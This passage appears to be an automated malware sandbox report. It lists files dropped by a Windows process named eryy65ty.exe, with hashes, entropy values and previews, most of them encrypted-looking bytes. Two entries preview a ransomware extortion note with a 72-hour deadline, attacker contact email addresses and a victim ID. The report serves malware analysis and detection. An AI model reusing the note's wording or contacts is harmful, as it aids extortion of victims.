                                                                                                                                        Preview:.......x.o.mD...+....|......1....9.W.+.XvU....E.+../...O..{.....y'n.......x.....9.....G`.0.......CF%...%..`.W..T.Q?f..E9c.....{K.+G..*`.H...e.=......{2'I.y..s.....fx\..T........]r.B...-...eg:Y..e|=...).S.+.qO^X.`+....O..x|?...AE.f....v.d.7.....n..pt$w.a....yx|..p.;.D:;....?.``.05\$G.O,X.:/.>W7.;.T............*y={.8!....p.]g[?....2^..T.G.....{..C.t...5.Q....=...O..._..q..W..6.4j...l......o.w6.......8w...J.:...h..B..6...].C...+.....^....Js..tr.s....&......<........R...!..G..EZ.$7..[.o. ...._R...@.0......e'].2...2.+&.b-3b...4..B...!...~L.]{..x"..`..@.N..>z..R#.`.[...C]....em.v.un.'3.)..Z1..[..|..2.u....^...1!.....!.H&.......n..at.s0}R.......u7.0w_.v&q.j.v] .o.#.}fop.X...=$.~...m.....6..{t..orn.n7...P..7{.._.....H...4aw.T.;b..FQ..F.._...=.i.kG....O<.l..<\.'...[q.....%....u.Nh..G...5=....q.d.Xm.[.'..*...?.Izc.].....h|.C.lY......sT!(U%9.f.z@..r....8..=..]......}4.......AEv..=.d.\.i.....}J.r.On:.u......o.....7....9.....\.Eb.|...;,..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.846618035758926
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:4hAEJE84a8do4XZde63aE5n0sS0+5QIMwrjosGPgBn03cv4jDo4VJp:4hHE924JdZR4c/w37V0xDoA
                                                                                                                                        MD5:77FFD19FB110D3814E611C895A17CF6A
                                                                                                                                        SHA1:A2A44F63BC584AEF7B8FE715EBE06098F10BF1C4
                                                                                                                                        SHA-256:7265BDB3B0463116BACC0B228828B5DC000F6F8FD2CA6F9C6E2C825B36353492
                                                                                                                                        SHA-512:3D8BE2D1A8058249C627F69FE807729CA0F3B504BAD71068B94A045D2F5E685963D9E1B340764BD5A7A8A52A76103045AF6D0915F47AFC1ECDFF9771B1F16214
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.......x.o.mD...+....|......1....9.W.+.XvU....E.+../...O..{.....y'n.......x.....9.....G`.0.......CF%...%..`.W..T.Q?f..E9c.....{K.+G..*`.H...e.=......{2'I.y..s.....fx\..T........]r.B...-...eg:Y..e|=...).S.+.qO^X.`+....O..x|?...AE.f....v.d.7.....n..pt$w.a....yx|..p.;.D:;....?.``.05\$G.O,X.:/.>W7.;.T............*y={.8!....p.]g[?....2^..T.G.....{..C.t...5.Q....=...O..._..q..W..6.4j...l......o.w6.......8w...J.:...h..B..6...].C...+.....^....Js..tr.s....&......<........R...!..G..EZ.$7..[.o. ...._R...@.0......e'].2...2.+&.b-3b...4..B...!...~L.]{..x"..`..@.N..>z..R#.`.[...C]....em.v.un.'3.)..Z1..[..|..2.u....^...1!.....!.H&.......n..at.s0}R.......u7.0w_.v&q.j.v] .o.#.}fop.X...=$.~...m.....6..{t..orn.n7...P..7{.._.....H...4aw.T.;b..FQ..F.._...=.i.kG....O<.l..<\.'...[q.....%....u.Nh..G...5=....q.d.Xm.[.'..*...?.Izc.].....h|.C.lY......sT!(U%9.f.z@..r....8..=..]......}4.......AEv..=.d.\.i.....}J.r.On:.u......o.....7....9.....\.Eb.|...;,..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.855428338547775
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:kv/mPmCz6KD8hKwD+j5G/ACJzLykG06/HjttyY6vaXxapd9zD0zR1:wmuwuKwD+zCRj6q9Sgx81
                                                                                                                                        MD5:12600B607BED10F14BC179C6C12F69D9
                                                                                                                                        SHA1:A0DA1D561DA62E46A7FE24FFD3F4FABF6DE38C23
                                                                                                                                        SHA-256:FBEF68DB0FB17295826A62611586401D58ED94E4E6AA0A58F35A7DAB4723CE4A
                                                                                                                                        SHA-512:9DC82E1D383B546F6B1E55A948D262B67C4DEBB0ABF9D3FFB9411827E5DE750E9E6E65591136B24EB10A9C9EFBC867DC68C62327F335AC818DA59EB8CF6C87E8
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:v.YR.|o.i%[..{!...B.....n.Bj..Zz..EJD.I..R.d ..0...$S...Nu..s...=..j...%..K..A.G..#....S.......j.V... .....L1.y.4........_..a....D.....,.....o.B.a.Qfu.c>...k+.T.O2..v.-.G-[Th.......$M1.h..........+d.Jt!U.s.-_qF%N\<........Q.....k.,..6.d&'#N.~.E?.i..1.O......[...t.o.......Q.,......0..5..~...1.9.Aw.E9..]u.LE.rz.s....*....~....O.r).Y..+gm.;.....a..\.W.*.q..h..=..+.W5...N...d.......}.bD.B.......z.{...H.....0..S\.t.kt.....#.`..{.?QV......q.....r...J......P.mhe_.2...%.$....5.....|.~..m...c5q..)....L4..&94..CAI.V.X(....(../..~..n..Eg..Ep.}.;..B...i.....Q.N...i.6...FE..../..N.....a.^L.Wi.."h.C.<.....m.NAt.Q.A.*......T.<..nQ4.......`..9z.3@Ym. v2.$I..J..._J..CkS."...4.^.d.G..)...m..l_.+\...._...x..U.*.4~....%...{YoF..N..`...A\X.\%..X..8nkz.~k...J..... ......[.j.....&.DY.>.U!......U...:.!.....5S.G...8..w..E.........:.(.i..?.w..K*,Y.Q.u....1}m..>...=;..P.....6...Th7.../9#Ud_..*.CN.{....)B.?j.S....i..J....R.4/s.1...B.;j......G....~...=|...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.855428338547775
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:kv/mPmCz6KD8hKwD+j5G/ACJzLykG06/HjttyY6vaXxapd9zD0zR1:wmuwuKwD+zCRj6q9Sgx81
                                                                                                                                        MD5:12600B607BED10F14BC179C6C12F69D9
                                                                                                                                        SHA1:A0DA1D561DA62E46A7FE24FFD3F4FABF6DE38C23
                                                                                                                                        SHA-256:FBEF68DB0FB17295826A62611586401D58ED94E4E6AA0A58F35A7DAB4723CE4A
                                                                                                                                        SHA-512:9DC82E1D383B546F6B1E55A948D262B67C4DEBB0ABF9D3FFB9411827E5DE750E9E6E65591136B24EB10A9C9EFBC867DC68C62327F335AC818DA59EB8CF6C87E8
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:v.YR.|o.i%[..{!...B.....n.Bj..Zz..EJD.I..R.d ..0...$S...Nu..s...=..j...%..K..A.G..#....S.......j.V... .....L1.y.4........_..a....D.....,.....o.B.a.Qfu.c>...k+.T.O2..v.-.G-[Th.......$M1.h..........+d.Jt!U.s.-_qF%N\<........Q.....k.,..6.d&'#N.~.E?.i..1.O......[...t.o.......Q.,......0..5..~...1.9.Aw.E9..]u.LE.rz.s....*....~....O.r).Y..+gm.;.....a..\.W.*.q..h..=..+.W5...N...d.......}.bD.B.......z.{...H.....0..S\.t.kt.....#.`..{.?QV......q.....r...J......P.mhe_.2...%.$....5.....|.~..m...c5q..)....L4..&94..CAI.V.X(....(../..~..n..Eg..Ep.}.;..B...i.....Q.N...i.6...FE..../..N.....a.^L.Wi.."h.C.<.....m.NAt.Q.A.*......T.<..nQ4.......`..9z.3@Ym. v2.$I..J..._J..CkS."...4.^.d.G..)...m..l_.+\...._...x..U.*.4~....%...{YoF..N..`...A\X.\%..X..8nkz.~k...J..... ......[.j.....&.DY.>.U!......U...:.!.....5S.G...8..w..E.........:.(.i..?.w..K*,Y.Q.u....1}m..>...=;..P.....6...Th7.../9#Ud_..*.CN.{....)B.?j.S....i..J....R.4/s.1...B.;j......G....~...=|...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:OpenPGP Public Key
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.839283708843257
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:7VK/S4EA1Qc5TWIz5vgAGi0KUTcOzSu8G/u62WjPwQdgLMHTxXzPH+aXi9IV:JK/SAQ0TWIeA0cOmOumoC7HBnXZV
                                                                                                                                        MD5:38C62D0E5B07AB1565B53180FA7B8C92
                                                                                                                                        SHA1:5AF7F3BA983822898DFCEEE7C74BF9FC149D15B8
                                                                                                                                        SHA-256:379308D1DF30BBD228C68FEA7AAC63B2F660E15B2BC9B81EE6E5DA192848BBAB
                                                                                                                                        SHA-512:56E4A8C64196A3BE8BD8B904D421A043F46A2907C7FA46D4C2191BF11687BDDFCFCE3F9FB4C0E3488FAD1815C3F3405141DD72125202BC9B950A0F2524DF863B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...O.....^.'.......&}j.....j.4%.=}G.N.........L..D..].........x....q.8...V{....6.....2...{t../....!C.UfQO......\..`..F[.>.P-.i.US...0..:V...{...&1.k..k../A...Gq...*.DHP&....6o..Y.a.!.9.`....R..jm.*.-.!...]...Rn.N..{.Rw.....cX:.E........W.c.....R.A.Nh.(.K.~\...k...c....v.Z...2.qk..f....!...Q...e..*.(..........x.UB...............DD]...t.v.k....+..e~B].n.ul.j..BBY.q...r...*.a.5..2.!....4Xs<....p'/.z>...T.3..\H.u.....U.`...0.2Y0.#4....CB4.r@_....4E..l.4...e..O..).<$(J.Lb..s.V..D0..v..#.K.d3`V....~.^..1U..k.?~......".....l..U..UU.(3.........FD....p......d.M ....n...'...!C..G..|.o...dV6w...j..a.eZ.&.Xl.Q......Q...f........M...KF.N....^.t....+p%_...*W....a~..R".Nos.G8..,t3...z.K...`t..zF..]z.;...l6@....$..MC......K,......:2;.H..C....~E...=K..E,.=w....s/.a...C.......V!0J%>.S^m>v].KV..l.hh..}h.Z........6........Q...a..s....>..8<;.2..A?.".;s....U%$.n...9b....W<..B.p.......:..WlLO\M....K>.|....#..[.7/d+..~G.....s(./....Ks..._..8...%...=9
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:OpenPGP Public Key
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.839283708843257
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:7VK/S4EA1Qc5TWIz5vgAGi0KUTcOzSu8G/u62WjPwQdgLMHTxXzPH+aXi9IV:JK/SAQ0TWIeA0cOmOumoC7HBnXZV
                                                                                                                                        MD5:38C62D0E5B07AB1565B53180FA7B8C92
                                                                                                                                        SHA1:5AF7F3BA983822898DFCEEE7C74BF9FC149D15B8
                                                                                                                                        SHA-256:379308D1DF30BBD228C68FEA7AAC63B2F660E15B2BC9B81EE6E5DA192848BBAB
                                                                                                                                        SHA-512:56E4A8C64196A3BE8BD8B904D421A043F46A2907C7FA46D4C2191BF11687BDDFCFCE3F9FB4C0E3488FAD1815C3F3405141DD72125202BC9B950A0F2524DF863B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...O.....^.'.......&}j.....j.4%.=}G.N.........L..D..].........x....q.8...V{....6.....2...{t../....!C.UfQO......\..`..F[.>.P-.i.US...0..:V...{...&1.k..k../A...Gq...*.DHP&....6o..Y.a.!.9.`....R..jm.*.-.!...]...Rn.N..{.Rw.....cX:.E........W.c.....R.A.Nh.(.K.~\...k...c....v.Z...2.qk..f....!...Q...e..*.(..........x.UB...............DD]...t.v.k....+..e~B].n.ul.j..BBY.q...r...*.a.5..2.!....4Xs<....p'/.z>...T.3..\H.u.....U.`...0.2Y0.#4....CB4.r@_....4E..l.4...e..O..).<$(J.Lb..s.V..D0..v..#.K.d3`V....~.^..1U..k.?~......".....l..U..UU.(3.........FD....p......d.M ....n...'...!C..G..|.o...dV6w...j..a.eZ.&.Xl.Q......Q...f........M...KF.N....^.t....+p%_...*W....a~..R".Nos.G8..,t3...z.K...`t..zF..]z.;...l6@....$..MC......K,......:2;.H..C....~E...=K..E,.=w....s/.a...C.......V!0J%>.S^m>v].KV..l.hh..}h.Z........6........Q...a..s....>..8<;.2..A?.".;s....U%$.n...9b....W<..B.p.......:..WlLO\M....K>.|....#..[.7/d+..~G.....s(./....Ks..._..8...%...=9
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.831608114349601
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:NdyfNOzpwcjHKCWKiYsAk1XvQZkpKDIRr/DLIGTjhkRxEl:6VOzpwSHKCWUsAkxvQcKMTQxS
                                                                                                                                        MD5:A37752BCA6A73218477E22C4507192D1
                                                                                                                                        SHA1:F39BC7942CA20993110F1C2E44AB4465EFAB9058
                                                                                                                                        SHA-256:9E3DC520034D6FFBDDD8AEF982D11FF8A7C549F86535097B2FB5762497DF6276
                                                                                                                                        SHA-512:58CAD4AAE1AA9F495626C7FEFF0F4669B77579C52646344FEF8B20983D797920179B8825900AAE220E5B97E1C8C74EA9B6F73A330F18444766B07519C1497FCF
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:x...sP.b..........G.....V...'.7....h....d..ms.+...y.&..r@Pz.....+...T....I..o...'g.J......`p7X..$ ..yS......W.?...m..y.,.?./i..A?F..f..'../3..q.D.2.*...s.nE.B..y....,rM.u..&...Z...3...y.J...<....&.qe.Pb[Y.s.....L........#..).z...../e.\......@.{.:).+V.....2....... v.p...S->_ZI.....d..=:....B.+....3...r.0FB....Iu=.fs4......Sa...#F....9.Qy..X...1....c...k ....4.Sx......q..\.....=..1......^^}.^Q;#...OI,.0..W.N...l*....Co...@..&.`.j....as.S....c....T.q....Fb.....&._PG.P[....w.,.!..h......w;*rj..\s3[f.}...H....*ax...=..P..1.T.........D41.3.S.U.yk.8.A....J..y..!v.....ji.A...MW...A..#`....IF..Y{.*."..:.;....^s.........OwX.I<5.3...!./....x.....%.L...\mV.~$.wZ.D........2.P...xa..+a..tk.-C_.f)m.....[..?u=....wvirj.#......;@O7.N ....q.U.D.o.....l....%.r.t..*..I0..S...\j.%....'fM..c@.i..^.;.U$....9.Ga.._.....Q~.tFd........T%<.zL..7. .......4......4/.........p..or...E.`.y3.GCsM)......Y.P.....Aq..".h..r!tUR[....d...^T.k.O.N....DN.!.%.t./v.6.MP.ER._*.Y.bJ.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.831608114349601
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:NdyfNOzpwcjHKCWKiYsAk1XvQZkpKDIRr/DLIGTjhkRxEl:6VOzpwSHKCWUsAkxvQcKMTQxS
                                                                                                                                        MD5:A37752BCA6A73218477E22C4507192D1
                                                                                                                                        SHA1:F39BC7942CA20993110F1C2E44AB4465EFAB9058
                                                                                                                                        SHA-256:9E3DC520034D6FFBDDD8AEF982D11FF8A7C549F86535097B2FB5762497DF6276
                                                                                                                                        SHA-512:58CAD4AAE1AA9F495626C7FEFF0F4669B77579C52646344FEF8B20983D797920179B8825900AAE220E5B97E1C8C74EA9B6F73A330F18444766B07519C1497FCF
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:x...sP.b..........G.....V...'.7....h....d..ms.+...y.&..r@Pz.....+...T....I..o...'g.J......`p7X..$ ..yS......W.?...m..y.,.?./i..A?F..f..'../3..q.D.2.*...s.nE.B..y....,rM.u..&...Z...3...y.J...<....&.qe.Pb[Y.s.....L........#..).z...../e.\......@.{.:).+V.....2....... v.p...S->_ZI.....d..=:....B.+....3...r.0FB....Iu=.fs4......Sa...#F....9.Qy..X...1....c...k ....4.Sx......q..\.....=..1......^^}.^Q;#...OI,.0..W.N...l*....Co...@..&.`.j....as.S....c....T.q....Fb.....&._PG.P[....w.,.!..h......w;*rj..\s3[f.}...H....*ax...=..P..1.T.........D41.3.S.U.yk.8.A....J..y..!v.....ji.A...MW...A..#`....IF..Y{.*."..:.;....^s.........OwX.I<5.3...!./....x.....%.L...\mV.~$.wZ.D........2.P...xa..+a..tk.-C_.f)m.....[..?u=....wvirj.#......;@O7.N ....q.U.D.o.....l....%.r.t..*..I0..S...\j.%....'fM..c@.i..^.;.U$....9.Ga.._.....Q~.tFd........T%<.zL..7. .......4......4/.........p..or...E.`.y3.GCsM)......Y.P.....Aq..".h..r!tUR[....d...^T.k.O.N....DN.!.%.t./v.6.MP.ER._*.Y.bJ.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.844778016301166
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:hHWcCBD7oC78LpkiWlrcGAs2DjGzfvh5ABb29xBScVpDl:/CBD799lroiSCMcr5
                                                                                                                                        MD5:1406A3DC2DD41A1C3107DDDAAC5B3D7D
                                                                                                                                        SHA1:776EB058B773E1A8740DA57C04F133D4F150CFBF
                                                                                                                                        SHA-256:09388545B87FB26D113A5E045E5B541CCC6DFB339B8D13F9647AC60ACD75ECB1
                                                                                                                                        SHA-512:A1ABDDABC0C04E60DD51679FAACDAADF1D55D8CCF6253D63282D3F77AE25C2018A822572491546434E31448DB966723874763A9D66B95880E7859DC2544C5875
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:......v.`..k.......l..$z.C......CV..)..}...=.j4..s.#..oj,j?.dr.'..{..,..M.9*+a)....e....S..).h.......w.K.k....V.o.3..PWVld..n.C..+..N..Q/J...=....d...l....Y.=>.s}.mm..-...i}...H..*..>-.~'....X.p.J....^.S..6.q...:...c_.(x.'2..L\.s..-..s~.r*..YFg(.....0...U4..>.t.&ett5..W7...9.......A1.&.'...?.".x.......^$.o..;.4...+i\...x.>...g..p.^......Q+...Lp{.j.60.....H....mu......{.w........a.+..._..c.....&....-.o...=..,.b.>..@e0s....xo........q.g...z...wB_E.z.i...QS...."U..u.b.....U..=.(...Y.jN.v*q.....W1......bh\.I..@..Y..^.$x..._m.,iH.K...6...t..w.W#2.d....P.p.q...x{(.Z4.8.$..O..C...i......g..6..3G.I..@L....a?.....["2V.=r....O..3....).]...Rd.3..q...C..P~....^..k~..<........Q..u...@..+..h>y\...2..5...Rz.{.l....OdT...RC....i._j....G....o,d.jQ$.U...{u....].,YN.%...,^`t:.t..Zo.&.....R..y....!:..|w&...B.*|...]e....9>..8.6.Ba.....E..=C........LP._..p.D..........HH&.......t.I..Ua......@..*.=...{ .MK.[2........q...l.F..D]#w<..F9J....6U....3a.Q..`..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.844778016301166
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:hHWcCBD7oC78LpkiWlrcGAs2DjGzfvh5ABb29xBScVpDl:/CBD799lroiSCMcr5
                                                                                                                                        MD5:1406A3DC2DD41A1C3107DDDAAC5B3D7D
                                                                                                                                        SHA1:776EB058B773E1A8740DA57C04F133D4F150CFBF
                                                                                                                                        SHA-256:09388545B87FB26D113A5E045E5B541CCC6DFB339B8D13F9647AC60ACD75ECB1
                                                                                                                                        SHA-512:A1ABDDABC0C04E60DD51679FAACDAADF1D55D8CCF6253D63282D3F77AE25C2018A822572491546434E31448DB966723874763A9D66B95880E7859DC2544C5875
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:......v.`..k.......l..$z.C......CV..)..}...=.j4..s.#..oj,j?.dr.'..{..,..M.9*+a)....e....S..).h.......w.K.k....V.o.3..PWVld..n.C..+..N..Q/J...=....d...l....Y.=>.s}.mm..-...i}...H..*..>-.~'....X.p.J....^.S..6.q...:...c_.(x.'2..L\.s..-..s~.r*..YFg(.....0...U4..>.t.&ett5..W7...9.......A1.&.'...?.".x.......^$.o..;.4...+i\...x.>...g..p.^......Q+...Lp{.j.60.....H....mu......{.w........a.+..._..c.....&....-.o...=..,.b.>..@e0s....xo........q.g...z...wB_E.z.i...QS...."U..u.b.....U..=.(...Y.jN.v*q.....W1......bh\.I..@..Y..^.$x..._m.,iH.K...6...t..w.W#2.d....P.p.q...x{(.Z4.8.$..O..C...i......g..6..3G.I..@L....a?.....["2V.=r....O..3....).]...Rd.3..q...C..P~....^..k~..<........Q..u...@..+..h>y\...2..5...Rz.{.l....OdT...RC....i._j....G....o,d.jQ$.U...{u....].,YN.%...,^`t:.t..Zo.&.....R..y....!:..|w&...B.*|...]e....9>..8.6.Ba.....E..=C........LP._..p.D..........HH&.......t.I..Ua......@..*.=...{ .MK.[2........q...l.F..D]#w<..F9J....6U....3a.Q..`..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.819981464647562
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:jAgAvI/dXptQ4Rc7Kyl6ZuiLNNfy0ywNGVgX4phiFqWFo5M:03gvc7zlSTNUgXYIXGK
                                                                                                                                        MD5:AC445EF0131EF61215BADF0DEA9F8179
                                                                                                                                        SHA1:556DBBB776359C15D54EE38AEACEA63F48ABC22F
                                                                                                                                        SHA-256:A23A0509CEACA1D2C9B9BD3FBB2A7EA3B998204CED472A7F83D543341116516B
                                                                                                                                        SHA-512:8DA5A032B8F009CF82396F9CE619554AAE718923E8DC39FAD7384E58A1CA925539A189C883BC2725701CE90B46794740FFDE342AFEEAFF546D72F4FEC024F11B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.^ye..=.....)...[}}at.1Dz...J.g....]7..}u..q\.gxX......'./.o...p...0.)....F..Zq....K.B`.`...../..`P..?.....'.....[l-......G..e+..z.p.D...,b.u..J...)%W\.n....R.=@L}.....H+..WH.,...n...F....;%..1E.o...l..L..A..2av._.K.-...!.m._..NMUy.......B...aM..7.n.y.>......lWl...E.FR;....|.@P.......k...r`..Z*...m.`..ju"[..).,<...y...D.G........f|... B..F............?r.ZG...*..Q..O......H..B.(....#|.."0$f..Sa.|67bKj ...n..rA..x..,... '.K_T.9..4...}.....c.D]}}.T.....;Kz.....W.'..}.....pf.|..z..5|.5d7......$#.B.d.1I....^...o5J...$..J,u..C..;Aw.D^...JM.4...kq.l./.QI.).....GI...v?....rt/u..R0..: .K..\.Z..#^.L1ayF,...0*.@..9+...|Hj.5.M......x.,.0..b/..2...+.+.Nz.yi9..=....M/p.U..I7......D.e.M..K.............@V.{R..C......K{u.~....}..k...m.)...H...P....C.w.^Y._.n_..$.........fq.n..^f`%....>....s.{..G.M..5...../.xjF"...C.H...>.....SL.n`,@R9.k6..i.6./g6..<.yQ..(2].S.`..wB....[......B......@F..,.r`..cB......V..Y.k.,@n.F_l..w4..{.MX&.=.wm..r\.&..Y.g
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.819981464647562
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:jAgAvI/dXptQ4Rc7Kyl6ZuiLNNfy0ywNGVgX4phiFqWFo5M:03gvc7zlSTNUgXYIXGK
                                                                                                                                        MD5:AC445EF0131EF61215BADF0DEA9F8179
                                                                                                                                        SHA1:556DBBB776359C15D54EE38AEACEA63F48ABC22F
                                                                                                                                        SHA-256:A23A0509CEACA1D2C9B9BD3FBB2A7EA3B998204CED472A7F83D543341116516B
                                                                                                                                        SHA-512:8DA5A032B8F009CF82396F9CE619554AAE718923E8DC39FAD7384E58A1CA925539A189C883BC2725701CE90B46794740FFDE342AFEEAFF546D72F4FEC024F11B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.^ye..=.....)...[}}at.1Dz...J.g....]7..}u..q\.gxX......'./.o...p...0.)....F..Zq....K.B`.`...../..`P..?.....'.....[l-......G..e+..z.p.D...,b.u..J...)%W\.n....R.=@L}.....H+..WH.,...n...F....;%..1E.o...l..L..A..2av._.K.-...!.m._..NMUy.......B...aM..7.n.y.>......lWl...E.FR;....|.@P.......k...r`..Z*...m.`..ju"[..).,<...y...D.G........f|... B..F............?r.ZG...*..Q..O......H..B.(....#|.."0$f..Sa.|67bKj ...n..rA..x..,... '.K_T.9..4...}.....c.D]}}.T.....;Kz.....W.'..}.....pf.|..z..5|.5d7......$#.B.d.1I....^...o5J...$..J,u..C..;Aw.D^...JM.4...kq.l./.QI.).....GI...v?....rt/u..R0..: .K..\.Z..#^.L1ayF,...0*.@..9+...|Hj.5.M......x.,.0..b/..2...+.+.Nz.yi9..=....M/p.U..I7......D.e.M..K.............@V.{R..C......K{u.~....}..k...m.)...H...P....C.w.^Y._.n_..$.........fq.n..^f`%....>....s.{..G.M..5...../.xjF"...C.H...>.....SL.n`,@R9.k6..i.6./g6..<.yQ..(2].S.`..wB....[......B......@F..,.r`..cB......V..Y.k.,@n.F_l..w4..{.MX&.=.wm..r\.&..Y.g
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.84905735106121
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:DkngcJVJiCCehc9sXc5vtnMkEtefO7mLSkcSuf90:igg1FrSviqWpkqF0
                                                                                                                                        MD5:A8CCDA1EFB85D737E917539983AD4C09
                                                                                                                                        SHA1:EE1D1DC3F19BD1FD6E5C9562FBB0ED96611119F3
